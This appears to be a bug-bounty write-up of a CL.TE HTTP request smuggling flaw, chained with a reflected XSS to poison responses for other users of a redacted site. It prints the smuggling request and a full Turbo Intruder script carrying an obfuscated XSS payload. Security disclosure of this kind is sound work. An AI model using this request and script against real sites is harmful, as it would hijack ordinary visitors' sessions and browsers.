This vulnerability was found on a private programme, therefore parts have been redacted.
As with the majority of HTTP Smuggling, it started with a smuggle probe from Burp’s HTTP Request Smuggler Extension:
Unfortunately there was nothing interesting on the back-end to attempt to bypass the front-end security controls, or no sensitive information being passed from users to attempt to capture their requests. However, earlier a common reflected XSS was found:
Which in the source code looked like:
Which made me think, could we force other users to search for the reflected XSS, escalating it to site-wide, no user interaction XSS?
I crafted the following request to test the identified
POST /redacted.aspx HTTP/1.1 Transfer-Encoding: chunked Host: redacted.com Content-Length: 21 X-Blah-Ignore: chunked 0 GET /404 Foo: x
This request works by taking advantage of discrepancies in HTTP specifications, which provides two different methods for specifying the length of HTTP messages:
- The front-end server processes the
Content-Length:header, which forwards the whole request.
- The back-end uses
Transfer-Encoding: chunkedprocessing only the first chunk, which is set at 0 length, which in chunked encoding will terminate the request.
- The remaining bytes
GET /404are left unprocessed, which the back-end will process these bytes as the start of the next request.
GET /404was chosen as it returns a
404, making it easier to identify if the vulnerability exists.
- When sending the request twice, a
404is returned for the second request, showing the
GET /404has successfully been processed within the next request.
This led onto launching a
CL.TE smuggle attack with the following Turbo Intruder payload, including the XSS vulnerability:
def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=5, requestsPerConnection=1, resumeSSL=False, timeout=10, pipeline=False, maxRetriesPerRequest=0, engine=Engine.THREADED, ) prefix = '''GET /redacted.aspx?redacted=1"*%2Fconfirm%0B(1)<%2FScript%2F--><Script>%2F* HTTP/1.1 X-Ignore: X''' attack = target.req + prefix engine.queue(attack) victim = target.req for i in range(7): engine.queue(victim) time.sleep(0.05) def handleResponse(req, interesting): table.add(req)
and sure enough, the request was successfully smuggled, and one of the next requests received the poisoned XSS response:
XSS being smuggled
Later response poisoned with XSS
Although this programme accepted reflected XSS as is, this same approach could have been used to chain together XSS with CSRF or a CORS misconfiguration. If the attack kept being fired, nearly every user who visited the site would receive a poisoned response.